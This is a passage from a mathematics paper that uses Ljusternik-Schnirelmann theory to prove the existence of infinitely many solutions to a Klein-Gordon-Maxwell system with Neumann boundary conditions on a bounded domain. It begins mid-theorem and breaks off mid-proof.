Problem~\eqref{KGM}-\eqref{BC-no} has a sequence $\{(u_n,\phi_n)\}$ of distinct nontrivial solutions with the following properties:
\begin{enumerate}
\item[{\rm (i)}] $u_0 \ge 0$ in $\O$;
\item[{\rm (ii)}] every bounded subsequence $\{u_{k_n}\}$ satisfies $\|q \, u_{k_n}\|_{L^3(\O)} \to 0$ as $n \to \infty$.
\end{enumerate}
\end{theorem}
A function $q$ that satisfies~(Q) may vanish in $\O$, even on a set of positive measure; however, where $q$ does not vanish, it must be bounded away from zero.
This condition appears in results on the closedness of the range of the multiplication operator $u \mapsto q \, u$ (see~\cite{ramos}).
Without assumption~(Q), we find nontrivial solutions provided that $\o$ varies in a smaller range.
\begin{theorem}\label{main2}
Assume $\int_{\partial \O} \al \, d\sigma \ne 0$. Suppose that $|\o| \le |m|/\sqrt 2$. Then the same conclusions as in Theorem~\ref{main1} hold.
\end{theorem}
Following the approach in~\cite{lp1}, we apply Ljusternik-Schnirelmann theory to a functional $J$, defined in an open subset $\Lambda_q$ of $H^1_0(\O)$, whose critical points correspond to nontrivial solutions to Problem~\eqref{KGM}-\eqref{BC-no}. Compared to the functional considered in~\cite{lp1}, here $J$~contains several additional terms, which depend on $\o$. Assuming $|\o| \le |m|$, all but one of these additional terms can be easily dealt with and entail no major complications in the study of~$J$.
Under assumption~(Q), the exceptional term (the third summand in~\eqref{J-dec} below) can be controlled in a uniform fashion (see Lemma~\ref{theta-bounded}).
Without assumption~(Q), uniform bounds on the exceptional term are not available (see Remark~\ref{noQ}). However, $J$ retains its main properties for smaller values of $\o$, as in Theorem~\ref{main2}.
If the data are as small as in Theorem~\ref{main1},
the condition $\int_{\partial \O} \al \, d\sigma \ne 0$
is necessary for the existence of nontrivial solutions, as in~\cite{DPS-2010, DPS-2014, lp1}.
\begin{theorem}\label{main3}
Assume that $|\o| \le |m|$ and $\|\al\|_{H^{1/2}(\partial \O)} \, \|q\|_{L^6(\O)}$ is as small as required in Theorem~\ref{main1}. If $\int_{\partial \O} \al \, d\sigma = 0$, then Problem~\eqref{KGM}-\eqref{BC-no} has no nontrivial solutions.
\end{theorem}
The assumptions in Theorems~\ref{main1}-\ref{main3} are consistent with the literature, albeit on problems in unbounded domains.
Limitations on the range of $\omega$ already appeared in~\cite{strauss}; later, they were required in~\cite{BF-2002} and the subsequent stream of related papers. Conditions on the smalless of $q$ (if $\alpha$ is fixed) were imposed, for instance, in \cite[Theorem 104]{BF-2014}, in line with Coleman's conjecture in~\cite{coleman}.
We conclude this section by mentioning some recent work, loosely related to our own. In addition to the papers cited in~\cite{lp1}, we refer to~\cite{chen-tang,chen-li} for results on Klein-Gordon-Maxwell systems in $\R^3$.
We also refer to~\cite{miya-moura-ruv} for a variant of the system involving fractional operators; to~\cite{clapp-ghim-mich,dav-med-pomp} for results on Klein-Gordon-Maxwell-Proca systems; to~\cite{bon-dav-pomp, chen-song} for Klein-Gordon systems coupled with Born-Infeld type equations.
The paper is organized as follows. In Section~\ref{prelims} we collect some preliminary results and introduce the set $\Lambda_q$. In Section~\ref{J-birth} we define the functional~$J$ and decompose it into the sum of several components, which we analyze separately. In Section~\ref{prop-of-J} we show that $J$ satisfies the requirements in Ljusternik-Schnirelmann theory. Finally, in Section~\ref{proof-of-main} we prove Theorems~\ref{main1}-\ref{main3}.
\section{Preliminaries}\label{prelims}
Throughout the paper we will use the following notation:
\begin{itemize}
\item For any integrable function $f:\O\to \R$, $\overline f$ is the average of $f$ in $\O$ and $\|f\|_p$ is the usual norm in $L^p(\O)$ ($p\in[1,\infty]$);
\item $H^1_0(\O)$ is endowed with the norm $\|\nabla f\|_2$;
\item $H^1(\O)$ is endowed with the norm $\|f\|:= \left(\|\nabla f\|_2^2 + \left|\overline f\right|^2\right)^{1/2}$;
\item for $p\in(1,6]$, $\sigma_p$ is the smallest positive number such that
$\|f\|_p \le \sigma_p \, \|\nabla f\|_2$ for every $f\in H^1_0(\O)$;
\item for $p\in(1,6]$, $\tau_p$ is the smallest positive number such that
$\|f\|_p \le \tau_p \, \|f\|$ for every $f\in H^1(\O)$;
\item $A:= \int_{\partial \O} \al \, d\sigma$, \ $\|\al\|_{1/2} := \|\al\|_{H^{1/2}(\partial \O)}$.
\end{itemize}
\subsection{Reduction to homogeneous boundary conditions}
As in~\cite{lp1}, we begin by turning Problem \eqref{KGM}-\eqref{BC-no} into an equivalent problem with homogeneous boundary conditions in both variables.
Let $\chi \in H^2(\O)$ be the unique solution of
\begin{equation}\label{chi}
\Delta \chi = \dfrac{A}{|\O|} \quad \hbox{in $\O$}\, , \qquad
\dfrac{\partial \chi}{\partial \n} = \al \quad \hbox{on $\partial \O$}\, , \qquad
\int_\O \chi \, dx = 0 \, .
\end{equation}
Note that, by elliptic regularity theory and Sobolev's inequalities, there exists $\kappa \in(0,\infty)$ such that
\begin{equation}\label{chi-infty}
\|\chi\|_{\infty} \le \kappa \, \|\al\|_{1/2} \, .
\end{equation}
With $\varphi:= \phi-\chi$, Problem~\eqref{KGM}-\eqref{BC-no} is equivalent to
\begin{equation}\label{PROB}
\begin{cases}
\Delta u = m^2 u - \bigl(\o + q \, (\p+\chi)\bigr)^2 \, u \quad & \hbox{in $\O$,} \\[1mm]
\Delta \p = q \, \bigl(\o + q \, (\p+\chi)\bigr) \, u^2 - \dfrac{A}{|\O|} & \hbox{in $\O$,} \\[1mm]
\hskip 3.6mm u = \dfrac{\partial \p}{\partial \n} = 0 & \hbox{on $\partial \O$.}
\end{cases}
\end{equation}
Weak solutions of~\eqref{PROB} correspond to critical points of
the functional $F$ defined in $H^1_0(\O) \times H^1(\O)$ by
\begin{equation*}
F(u,\p) = \|\nabla u\|_2^2 + \int_\O \bigl(m^2 - \bigl(\o + q\, (\p+\chi)\bigr)^2 \bigr) u^2 \, dx - \|\nabla \p\|_2^2 + 2 \, A \, \overline \p \, .
\end{equation*}
Indeed, standard computations show that $F$ is continuously differentiable in $H^1_0(\O) \times H^1(\Omega)$ with
\begin{align*}
\langle F'_u(u,\p) , v \rangle &= 2 \int_\O \Bigl( \nabla u \nabla v + \bigl(m^2 - \bigl(\o + q\, (\p+\chi)\bigr)^2 \bigr) \, u \, v \Bigr) \, dx \, , \\[1mm]
\langle F'_\p(u,\p) , \psi \rangle & =
- 2 \int_\O \Bigl( \nabla \p \nabla \psi + \bigl( q \, \bigl(\o + q\, (\p+\chi)\bigr) u^2 - \dfrac{A}{|\O|} \bigr) \, \psi \Bigr) \, dx \, ,
\end{align*}
for every $u, v \in H^1_0(\O)$ and $\p, \psi\in H^1(\O)$.
Since $F$ is unbounded from above and from below, even modulo compact perturbations, a straightforward application of well-known results in critical point theory is precluded.
We follow~\cite{BF-2002} and associate solutions to Problem~\eqref{PROB} with critical points of a functional~$J$ that depends only on the variable $u$ and falls within the scope of classical critical point theory.
The main ingredient in the construction of $J$ is solving for $\p$ the second equation in~\eqref{PROB}. We will repeatedly apply the following result.
\begin{proposition}\label{equation}
For $b \in L^3(\O) \setminus \{0\}$ and $\rho\in L^{6/5}(\O)$, the homogeneous Neumann problem associated with the equation
\begin{equation}\label{aux-eq}
- \Delta \p + b^2 \, \p = \rho \,
\end{equation}
has a unique solution ${\cal L}_{b}(\rho)$ in $H^1(\O)$.
If $\rho$ does not change sign in $\O$, then $\rho \, {\cal L}_{b}(\rho) \ge 0$ in $\O$. Furthermore, ${\cal L}_{b}(\rho)$ depends continuously on $b$ and $\rho$.
\end{proposition}
\begin{proof}
See~\cite[Proposition 2.1, Remark 2.2, and Remark 2.3]{lp1}.
\end{proof}
\begin{remark}\label{uniform-bound}
Let $b \in L^3(\O) \setminus \{0\}$ and $h \in L^\infty(\O)$.
Observe that, for any $\tau \in \R$, ${\cal L}_{b}(b^2 \, (h+\tau)) = {\cal L}_{b}(b^2 \, h) + \tau$.
With $\tau = -\inf h$ and $\tau = -\sup h$, respectively, Proposition~\ref{equation} implies
${\cal L}_{b}(b^2 \, h) - \inf h \ge 0$ and ${\cal L}_{b}(b^2 \, h) -\sup h \le 0$ in $\O$, whence
$\inf h \le {\cal L}_{b}(b^2 \, h) \le \sup h$.
\end{remark}
In the construction of $J$, we will consider Equation~\eqref{aux-eq} with $b= q\, u$; to ensure its solvability, we confine $u$ within the set
\begin{equation*}
\Lambda_q := \Bigl\{ u \in H^1_0(\O) \, \bigl| \, q \, u \not= 0 \Bigr\} \, .
\end{equation*}
The set $\Lambda_q$ is the complement in $H^1_0(\O)$ of the kernel of the bounded and linear operator $u \in H^1_0(\O) \mapsto q \, u \in L^3(\Omega)$.
If $q$ vanishes at most on a set of measure zero, then $\Lambda_q = H^1_0(\O) \setminus\{0\}$. In general, $\Lambda_q$ satisfies the following properties.
\begin{proposition}\label{lambda-q}{\rm \cite[Proposition 2.4]{lp1}}~{}
\begin{enumerate}
\item[{\rm (a)}] $\Lambda_q$ is open in $H^1_0(\O)$ with $\partial \Lambda_q = \bigl\{ u \in H^1_0(\O) \, | \, q \, u = 0 \bigr\}$.
\item[{\rm (b)}] If $u\in H^1_0(\O)$ and $\dist(u,\partial \Lambda_q) \to 0$, then $\|q \, u\|_3 \to 0$.
\item[{\rm (c)}] $\Lambda_q$ contains subsets with arbitrarily large genus.
\end{enumerate}
\end{proposition}
\section{The constrained functional}\label{J-birth}
For $u \in \Lambda_q$, let
\begin{equation}\label{rho-u}
\rho_u := \dfrac{A}{|\O|} - (q \, u)^2 \, \chi-\o \, q \, u^2
\end{equation}
and consider Equation~\eqref{aux-eq} with $b= q\, u$ and $\rho=\rho_u$. By Proposition~\ref{equation}, the associated homogeneous Neumann problem has a unique solution ${\cal L}_{qu}(\rho_u)$ in $H^1(\O)$.
Let us define the map $\Phi:\Lambda_q \longrightarrow H^1(\O)$
by letting $\Phi(u):= {\cal L}_{qu}(\rho_u)$,
and the functional $J : \Lambda_q \longrightarrow \R$ by letting
$J(u) := F\bigl(u,\Phi(u)\bigr)$.
\begin{proposition}\label{CF}
\begin{enumerate}
\item[{\rm (a)}] The map $\Phi$ is continuously differentiable in $\Lambda_q$. The graph of $\Phi$ is the set
$\bigl\{ (u,\p) \in \Lambda_q \times H^1(\O) \, | \, F'_\p(u,\p)=0 \bigr\}$.
\item[{\rm (b)}] The functional $J$ is continuously differentiable in $\Lambda_q$. Furthermore,
$(u,\p) \in \Lambda_q \times H^1(\O)$ is a critical point of $F$ if, and only if, $u$ is a critical point of $J$ and $\p = \Phi(u)$.
\end{enumerate}
\end{proposition}
\begin{Proof}
For the proof of Part~(a), see~\cite[Section~3]{lp1}. Note that all the assertions remain true despite the additional term $-\o \, q \, u^2$ appearing in the right-hand side of~\eqref{rho-u} when $\o \ne 0$.
Part~(b) easily follows from Part~(a).
\end{Proof}
On account of Proposition~\ref{CF}, nontrivial solutions to Problem~\eqref{KGM}-\eqref{BC-no} are in one-to-one correspondence with critical points of $J$ in $\Lambda_q$.
\subsection{Decomposition of $J$}
To simplify the notation, let $\p_u:= \Phi(u)$. Since $\p_u$ solves the homogeneous Neumann problem associated with the equation
\begin{equation*}
- \Delta \p + (q \, u)^2 \, \p = \dfrac{A}{|\O|} - (q \, u)^2 \, \chi\, - \, \o \, q \, u^2\, ,
\end{equation*}
we get
\begin{equation*}
\|\nabla \p_u\|_2^2 = A \, \overline \p_u - \int_\O (q \, u)^2 \, \chi \, \p_u \, dx - \int_\O \o \, q\, u^2 \, \p_u \, dx - \int_\O (q \, u)^2 \, \p_u^2 \, dx \, ,
\end{equation*}
and thus,
\begin{equation*}\label{J-one}
\begin{split}
J(u) = F\bigl(u,\p_u\bigr) &=
\|\nabla u\|_2^2 + \int_\O \bigl(m^2 - (\o + q \, \chi)^2 \bigr) u^2 \, dx + {} \\[2mm]
& - \int_\O (q\, u)^2 \, \chi \, \p_u \, dx - \int_\O \o \, q\, u^2 \, \p_u \, dx \, + A \, \overline \p_u .
\end{split}
\end{equation*}
For every $u \in \Lambda_q$, let
\begin{equation*}
\xi_u := -{\cal L}_{qu} ((q \, u)^2 \, \chi) \, , \quad \eta_u := \frac{A}{|\O|} \, {\cal L}_{qu} (1) \, , \quad \theta_u := - {\cal L}_{qu} (q \, u^2) \, .
\end{equation*}
Note that $\eta_u$, $\xi_u$, and $\theta_u$ satisfy the equations
\begin{align}
- \D \xi_u + (q \, u)^2 \, \xi_u &= - \, (q \, u)^2 \, \chi \, , \label{xi-u} \\[2mm]
- \D \eta_u + (q \, u)^2 \, \eta_u &= \dfrac{A}{|\O|} \, , \label{eta-u} \\[1mm]
- \D \theta_u + (q \, u)^2 \, \theta_u &= - \, q \, u^2 \, , \label{theta-u}
\end{align}
respectively, with homogeneous Neumann boundary conditions, and
\begin{equation}\label{decomp}
\p_u = \xi_u + \eta_u + \o \, \theta_u \, .
\end{equation}
We will write the functional $J$ in terms of $u$, $\xi_u$, $\eta_u$, and $\theta_u$.
Observe that
\begin{gather}
\int_\O (q\, u)^2 \, \chi \, \theta_u \, dx = \int_\O q \, u^2 \, \xi_u \, dx \, , \qquad A \, \ovxi = - \int_\O (q\, u)^2 \, \chi \, \eta_u \, dx \, , \label{MIX2} \\
A \, \ovtheta = - \int_\O q \, u^2 \, \eta_u \, dx \, , \label{MIX1}
\end{gather}
these equalities are easily obtained by multiplying each of the equations~\eqref{xi-u}-\eqref{theta-u} by the solution of the remaining two equations. Taking~\eqref{decomp}--\eqref{MIX1} into account yields
\begin{equation}\label{J-dec}
J(u) = \widetilde J(u) + A \, \oveta + 2 \, \o \, A \, \ovtheta
\end{equation}
for every $u\in \Lambda_q$, with
\begin{equation*}
\begin{split}
\widetilde J(u)
& = \|\nabla u\|_2^2 + \int_\O \bigl(m^2 - \o^2) \, u^2 \, dx - \int_\O 2 \, \o \, q \, u^2 \, (\chi+\xi_u) \, dx + {} \\[2mm]
&
+ 2 \, A \, \ovxi - \int_\O (q\, u)^2 \, \chi^2 \, dx - \int_\O (q \, u)^2 \, \chi \, \xi_u \, dx - \int_\O \o^2 \, q \, u^2 \, \theta_u \, dx \, .
\end{split}
\end{equation*}
\subsection{Properties of $\xi_u$, $\eta_u$, and $\theta_u$}
Since $\xi_u := -{\cal L}_{qu} ((q \, u)^2 \, \chi)$,
by Remark~\ref{uniform-bound} we have
\begin{equation}\label{xi}
\|\xi_u \|_{\infty} \le \|\chi\|_\infty
\end{equation}
for every $u \in \Lambda_q$.
\begin{lemma}\label{eta} {\rm \cite[Lemma 3.3]{lp1}}~{}
\begin{itemize}
\item[{\rm (a)}] For every $u \in \Lambda_q$, $A \, \eta_u \ge 0$ in $\O$.
\item[{\rm (b)}] There exists $\gamma \in(0,\infty)$ such that
$\|\nabla \eta_u\|_2 \le \gamma \, \|q\, u\|_3^2 \; | \overline \eta_u |$ for every $u \in \Lambda_q$.
\item[{\rm (c)}] Suppose $A\ne 0$. If $u\in \Lambda_q$ and $\|q \, u\|_3 \to 0$, then $A \, \overline \eta_u \to \infty$.
\end{itemize}
\end{lemma}
\begin{lemma}\label{theta-bounded}
Suppose that assumption {\rm (Q)} is satisfied. Then, for every $u \in \Lambda_q$, we have $\|\theta_u \|_\infty \le {1}/{q_0}$.
\end{lemma}
\begin{Proof}
Fix $u \in \Lambda_q$. Define $h \in L^\infty(\O)$ by
\begin{equation*}
h(x) := \begin{cases} {1}/{q(x)} & \hbox{if $|q(x)|\ge q_0$,} \\[-1mm] 0 & \hbox{otherwise.} \end{cases}
\end{equation*}
In view of assumption (Q), we have $q = q^2 \, h$ in $\O$, hence
$\theta_u := - {\cal L}_{qu} (q \, u^2) = - {\cal L}_{qu} ((q \, u)^2 \, h)$. Then $\|\theta_u\|_\infty \le \|h\|_\infty$, by Remark~\ref{uniform-bound}, and the conclusion readily follows.
\end{Proof}
\begin{remark}\label{noQ}
\begin{comment}
\end{comment}
If assumption (Q) is satisfied, the map $u \in \Lambda_q \mapsto 2 \, \o \, A \, \ovtheta$, which appears as the third summand in~\eqref{J-dec},
is bounded from below. Without assumption (Q), this need not be the case.
For instance, suppose that $q \in C(\O) \cap L^6(\O) \setminus\{0\}$ does not satisfy~(Q). Hence, either $\inf\, \{q(x) \, | \, q(x)>0\}= 0$ or $\, \sup\, \{q(x) \, | \, q(x)<0\}= 0$. In the former case, let $\{s_n\}$ be any unbounded increasing sequence. Up to a subsequence, the open set
$$\O_n^+ := \left\{x \in \O \, | \, s_{n} < 1/q(x) < s_{n+1} \right\}$$
is nonempty. Take $u_n \in C_0^\infty(\O_n^+)\setminus\{0\} \subset \Lambda_q$.
Define $h_n : \O \to \R$ by
\begin{equation*}
h_n(x) := \begin{cases} 1/{q(x)} & \hbox{if $x \in \O_n^+$,} \\[-1mm] s_n & \hbox{otherwise;} \end{cases}
\end{equation*}
clearly, $s_n \le h_n < s_{n+1}$ in $\O$.
Since $q \, u_n^2 = (q\, u_n)^2 h_n$ in $\O$, we have
$\theta_{u_n} := -{\cal L}_{qu_n} (q \, u_n^2) = -{\cal L}_{qu_n} ((q\, u_n)^2 h_n)$. By Remark~\ref{uniform-bound}, we get $\theta_{u_n} \le -s_n$ in $\O$ and thus,
$\overline \theta_{u_n} \to - \infty$.
Likewise, in the case $\, \sup\, \{q(x) \, | \, q(x)<0\}= 0$, we find a sequence $\{u_n\}\subset \Lambda_q$ such that $\overline \theta_{u_n} \to \infty$.
Therefore, depending on the sign of~$\o$ and~$A$, the map $u \in \Lambda_q \mapsto 2 \, \o \, A \, \ovtheta$ may be unbounded from below.
\end{remark}
\begin{lemma}\label{theta} For every $u \in \Lambda_q$,
$\displaystyle \Bigl| 2 \, \o \, A \, \ovtheta \Bigr| \le \int_\O \o^2 \, u^2 \, dx + A \, \oveta$.
\end{lemma}
\begin{proof}
Fix $u \in \Lambda_q$. By~\eqref{MIX1},
\begin{equation*}
\Bigl| 2 \, \o \, A \, \ovtheta \Bigr| = \left|\int_\O 2 \, \o \, q \, u^2 \, \eta_u \, dx \right| \le \int_\O \o^2 \, u^2 \, dx + \int_\O (q \, u)^2 \, \eta_u^2 \, dx \, .
\end{equation*}
Multiplying~\eqref{eta-u} by $\eta_u$ yields
\begin{equation*}
\|\nabla \eta_u\|_2^2 + \int_\O (q\, u)^2 \, \eta_u^2 \, dx = A \, \oveta \, .
\end{equation*}
The conclusion readily follows.
\end{proof}
\begin{lemma}\label{eta-theta}
Let $\{u_n\} \subset \Lambda_q$ be bounded.
\begin{itemize}
\item[{\rm (a)}] Suppose that $\{\|q\, u_n\|_3\}$ is bounded away from $0$. Then: up to a subsequence, $\{\eta_{u_n}\}$ and $\{\theta_{u_n}\}$ converge in $H^1(\O)$.
\item[{\rm (b)}] If $A \ne 0$ and $\|q \, u_n\|_3 \to 0$, then $ A \, \overline \eta_{u_n} + 2 \, \o \, A \, \overline \theta_{u_n} \to \infty$.
\end{itemize}
\end{lemma}
\begin{proof}
(a)\ Let $\{u_n\}\subset \Lambda_q$ be bounded.
Up to a subsequence, $\{u_n\}$ has in $L^6(\O)$ a limit $u$. Since $q \, u_n \to q\, u$ in $L^3(\O)$ and $\{\|q\, u_n\|_3\}$ is bounded away from $0$, we deduce $q \, u \ne 0$; moreover, $q \, u_n^2 \to q\, u^2$ in $L^{6/5}(\O)$.
Recall that $\eta_{u_n}:= {\cal L}_{qu_n} ({A}/{|\O|})$ and $\theta_{u_n}:= - {\cal L}_{qu_n} (q \, u_n^2)$.
Thus, by Proposition~\ref{equation}, $\eta_{u_n}$ and $\theta_{u_n}$ converge in $H^1(\O)$ to
${\cal L}_{q u} ({A}/{|\O|})$ and $-{\cal L}_{qu} (q \, u^2)$, respectively.
\\
(b)\ Preliminarily, fix $u \in \Lambda_q$ and note that,
by Lemma~\ref{eta}(b),
\begin{equation*}
\|\eta_u\|^2 = \|\nabla \eta_u\|_2^2 + |\oveta|^2 \le
\Bigl(\gamma^2 \, \|q \, u\|_3^4 + 1\Bigr)\, |\oveta|^2 \, .
\end{equation*}
Thus, by~\eqref{MIX1}, H\"older's inequality, and Sobolev's embedding theorem,
\begin{align*}
\Bigl| \o \, A \, \ovtheta \Bigr| & = \Bigl| \int_\O \o \, q \, u^2 \, \eta_u \, dx \Bigr| \le |\o| \, \|q \, u\|_3 \, \|u\|_3 \, \|\eta_u\|_3 \\ &
\le \sigma_3 \, \tau_3 \, |\o| \, \|q \, u\|_3 \, \|\nabla u\|_2 \, \|\eta_u\| \\ &
\le \sigma_3 \, \tau_3 \, |\o| \, \|q \, u\|_3 \, \|\nabla u\|_2 \, \Bigl(\gamma^2 \, \|q \, u\|_3^4 + 1\Bigr)^{1/2}\, |\oveta| \, . \end{align*}
Therefore,
\begin{equation}\label{AT(u)-bis}
A \, \oveta + 2 \, \o \, A \, \ovtheta \ge
|A| \, |\oveta| - \Bigl| 2 \, \o \, A \, \ovtheta \Bigr|
\ge \bigl(|A| - N(u)\bigr) \, |\oveta| \, ,
\end{equation}
with
\begin{equation*}
N(u):= 2 \, \sigma_3 \, \tau_3 \, |\o| \, \|q \, u\|_3 \, \|\nabla u\|_2 \, \Bigl(\gamma^2 \, \|q \, u\|_3^4 + 1\Bigr)^{1/2} \, .
\end{equation*}
Now assume that $\{u_n\} \subset \Lambda_q$ is bounded and $\|q \, u_n\|_3 \to 0$. Then $N(u_n) \to 0$, and the conclusion follows from~\eqref{AT(u)-bis} and Lemma~\ref{eta}(c).
\end{proof}
\subsection{Properties of $\widetilde J$}
\begin{lemma}\label{bound-1}
There exist $C_1 \in \R$, $C_2 \in (0,\infty)$, and $C_3 \in [0,\infty)$, which depend on $\O$, $\o$, and the norms $\|q\|_6$ and $\|\al\|_{1/2}$, such that
\begin{equation}\label{lowerJ}
\widetilde J(u) \ge C_1 \, \|\nabla u\|_2^2 + \int_\O \bigl(m^2 - \o^2\bigr) u^2 \, dx - 2\, \kappa \, |A| \, \|\al\|_{1/2}
\end{equation}
and
\begin{equation}\label{upperJ}
\widetilde J(u) \le \bigl(C_2 + C_3 \, \|\theta_u\|\bigr) \, \|\nabla u\|_2^2 + 2 \, \kappa \, |A| \, \|\al\|_{1/2}
\end{equation}
for every $u\in \Lambda_q$.
\end{lemma}
\begin{proof}
Fix $u\in \Lambda_q$ and recall that
\begin{equation*}
\begin{split}
\widetilde J(u)
& = \|\nabla u\|_2^2 + \int_\O \bigl(m^2 - \o^2) \, u^2 \, dx - \int_\O 2 \, \o \, q \, u^2 \, (\chi+\xi_u) \, dx + {} \\[2mm]
&
+ 2 \, A \, \ovxi - \int_\O (q\, u)^2 \, \chi^2 \, dx - \int_\O (q \, u)^2 \, \chi \, \xi_u \, dx - \int_\O \o^2 \, q \, u^2 \, \theta_u \, dx \, .
\end{split}
\end{equation*}
By H\"older's inequality, Sobolev's embedding theorem, \eqref{chi-infty}, and \eqref{xi},
\begin{equation}\label{bound-on-P1}
\begin{split}
\left| \int_\O q \, u^2 \, (\chi + \xi_u) \, dx \right| & \le
2 \, \|\chi\|_\infty \, \|q\|_6 \, \|u\|_{12/5}^2 \\ & \le 2 \, \kappa \, \sigma_{12/5}^2 \, \|\al\|_{1/2} \, \|q\|_6 \, \|\nabla u\|_2^2 \, ,
\end{split}
\end{equation}
\begin{equation}\label{bound-on-P2}
\int_\O (q\, u)^2 \, \chi^2 \, dx \le
\|\chi\|_\infty^2 \|q\|_6^2 \, \|u\|_3^2 \le
\kappa^2 \, \sigma_3^2 \, \|\al\|_{1/2}^2 \, \|q\|_6^2 \, \|\nabla u\|_2^2 \, ,
\end{equation}
and
\begin{equation}\label{co2}
|\ovxi|
\le \kappa \, \|\al\|_{1/2} \ .
\end{equation}
Multiplying~\eqref{xi-u} and~\eqref{theta-u} by $\xi_u$ and $\theta_u$, respectively, gives
\begin{equation}\label{positive}
- \int_\O (q \, u)^2 \, \chi \, \xi_u \, dx \ge 0 \, , \quad - \int_\O \o^2 \, q \, u^2 \, \theta_u \, dx \ge 0 \, .
\end{equation}
Taking~\eqref{bound-on-P1}-\eqref{positive} into account yields~\eqref{lowerJ}, with
\begin{equation}\label{C1}
C_1 := 1 - 4 \, |\o| \, \kappa \, \sigma_{12/5}^2 \, \|\al\|_{1/2} \, \|q\|_6 - \kappa^2 \, \sigma_3^2 \, \|\al\|_{1/2}^2 \, \|q\|_6^2 \, .
\end{equation}
To prove~\eqref{upperJ}, in addition to~\eqref{bound-on-P1}-\eqref{co2} observe that \begin{equation*}\label{up-1}
\left| \int_\O (q \, u)^2 \, \chi \, \xi_u \, dx \right| \le
\|\chi\|_\infty^2 \, \|q\|_6^2 \, \|u\|_3^2 \le
\kappa^2 \, \sigma_3^2 \, \|\al\|_{1/2}^2 \, \|q\|_6^2 \, \|\nabla u\|_2^2
\end{equation*}
and
\begin{equation*}\label{up-2}
\left| \int_\O q \, u^2 \, \theta_u \, dx \right| \le \|q\|_6 \, \|u\|_3^2 \, \|\theta_u\|_6 \le
\sigma_3^2 \, _6 \, \|q\|_6 \, \|\nabla u\|_2^2 \, \|\theta_u\| \, .
\end{equation*}
Thus, \eqref{upperJ} follows with
\begin{equation*}
C_2:= 1 + \bigl|m^2 - \o^2| \, \sigma_2^2
+ 4 \, |\o| \, \kappa \, \sigma_{12/5}^2 \, \|\al\|_{1/2} \, \|q\|_6 + 2\, \kappa^2 \, \sigma_3^2 \, \|\al\|_{1/2}^2 \, \|q\|_6^2
\end{equation*}
and
$C_3:= \o^2 \, \sigma_3^2 \, \tau_6 \, \|q\|_6$.
\end{proof}
\section{Properties of $J$}\label{prop-of-J}
Throughout this section, we will assume $A\ne 0$.
For ease of discussion, we will refer to
Case~1, if $|\o| \le |m|$ and (Q) is satisfied, and to
Case~2, if $|\o| \le |m|/\sqrt 2$.
In either case, we will assume that $\|\al\|_{1/2} \, \|q\|_6$ is so small that the constant $C_1$, as defined in~\eqref{C1}, is strictly positive.
\begin{proposition}\label{coercive1}
The functional $J$ is bounded from below and coercive in $\Lambda_q$.
\end{proposition}
\begin{proof}
Fix $u \in \Lambda_q$. In Case 1, Lemma~\ref{theta-bounded} applies and implies
\begin{equation*}
A \, \oveta + 2 \, \o \, A \, \ovtheta \ge - \dfrac{2 \, |A| \, |\o|}{q_0}\, ,
\end{equation*}
in view of Lemma~\ref{eta}(a).
Therefore, \eqref{J-dec} and \eqref{lowerJ} yield
\begin{equation*}
J(u)
\ge
C_{1} \, \|\nabla u\|_2^2 + \int_\O \bigl(m^2 - \o^2\bigr) u^2 \, dx - 2\, \kappa \, |A| \, \|\al\|_{1/2}
- \dfrac{2 \, |A| \, |\o|}{q_0} \, .
\end{equation*}
In Case 2, Lemma~\ref{theta} implies
\[ A \, \oveta + 2 \, \o \, A \, \ovtheta \ge - \int_\O \o^2 \, u^2 \, dx \, .\]
Therefore, \eqref{J-dec} and~\eqref{lowerJ} yield
\begin{equation*}
\begin{split}
J(u)
& \ge
C_{1} \, \|\nabla u\|_2^2 + \int_\O \bigl(m^2 - \o^2\bigr) u^2 \, dx - 2\, \kappa \, |A| \, \|\al\|_{1/2}
- \int_\O \o^2 \, u^2 \, dx \\
& =
C_{1} \, \|\nabla u\|_2^2 + \int_\O \bigl(m^2 - 2 \, \o^2\bigr) u^2 \, dx - 2\, \kappa \, |A| \, \|\al\|_{1/2} \, .
\end{split}
\end{equation*}
With $C_{1} \in (0,\infty)$, the conclusions readily follow in both cases.
\end{proof}
\begin{proposition}\label{boundary}~{}
\begin{itemize}
\item[{\rm (a)}] Every sequence $\{u_n\}\subset \Lambda_q$ such that $\|q \, u_n\|_3 \to 0$ has a subsequence $\{u_{k_n}\}$ such that $J(u_{k_n}) \to \infty$.
\item[{\rm (b)}] $J$ has complete sublevels.
\end{itemize}
\end{proposition}
\begin{proof}
(a)\ Let $\{u_n\}\subset \Lambda_q$ and assume $\|q\, u_n\|_3 \to 0$.\\
In Case 1, note that $A\, \overline \eta_{u_n} \to \infty$, by Lemma~\ref{eta}(c),
whereas $\{\overline \theta_{u_n}\}$ and $\{\widetilde J(u_n)\}$ are bounded from below, by Lemma~\ref{theta-bounded} and~\eqref{lowerJ}.
Since $J(u_n) = \widetilde J(u_n) + A \, \overline \eta_{u_n} + 2 \, \o \, A \, \overline \theta_{u_n}$, we deduce $J(u_n) \to \infty$. \\
In Case 2, we consider two possibilities.
If $\{\|\nabla u_n\|_2\}$ is unbounded, there exists a subsequence $\{u_{k_n}\}$ such that $\|\nabla u_{k_n}\|_2 \to \infty$; thus, \hbox{$J(u_{k_n}) \to \infty$}, for $J$ is coercive by Proposition~\ref{coercive1}.
If $\{\|\nabla u_n\|_2\}$ is bounded, then
$ A \, \overline \eta_{u_n} + 2 \, \o \, A \, \overline \theta_{u_n} \to \infty$, by Lemma~\ref{eta-theta}(b), whereas $\{\widetilde J(u_n)\}$ is bounded from below, by~\eqref{lowerJ}. Since $J(u_n) = \widetilde J(u_n) + A \, \overline \eta_{u_n} + 2 \, \o \, A \, \overline \theta_{u_n}$, we deduce $J(u_n) \to \infty$.
\\
(b)\ Suppose that $\{u_n\}\subset \Lambda_q$, $J(u_n)\le c$, for some $c \in \R$, and $u_n \to u$ in $H^1_0(\O)$.
By Part~(a), the sequence $\{\|q \, u_n\|_3\}$ is bounded away from $0$ and thus, by Proposition~\ref{lambda-q}(b), $u \in \Lambda_q$.
\end{proof}
\begin{proposition}\label{if-and-only-if}
For any $\{u_n\} \subset \Lambda_q$, the sequence $\{J(u_n)\}$ is unbounded if, and only if, either $\{u_n\}$ is unbounded or $\{\|q\, u_n\|_3\}$ is not bounded away from $0$.
\end{proposition}
\begin{proof}
The ``if'' part of the statement easily follows from Proposition~\ref{coercive1} and Proposition~\ref{boundary}. We will prove the ``only if'' part by way of contradiction.
Suppose that there exists a bounded sequence $\{u_n\}\subset \Lambda_q$ such that $\{\|q \, u_n\|_3\}$ is bounded away from $0$ and {$J(u_n)\to \infty$}. \\
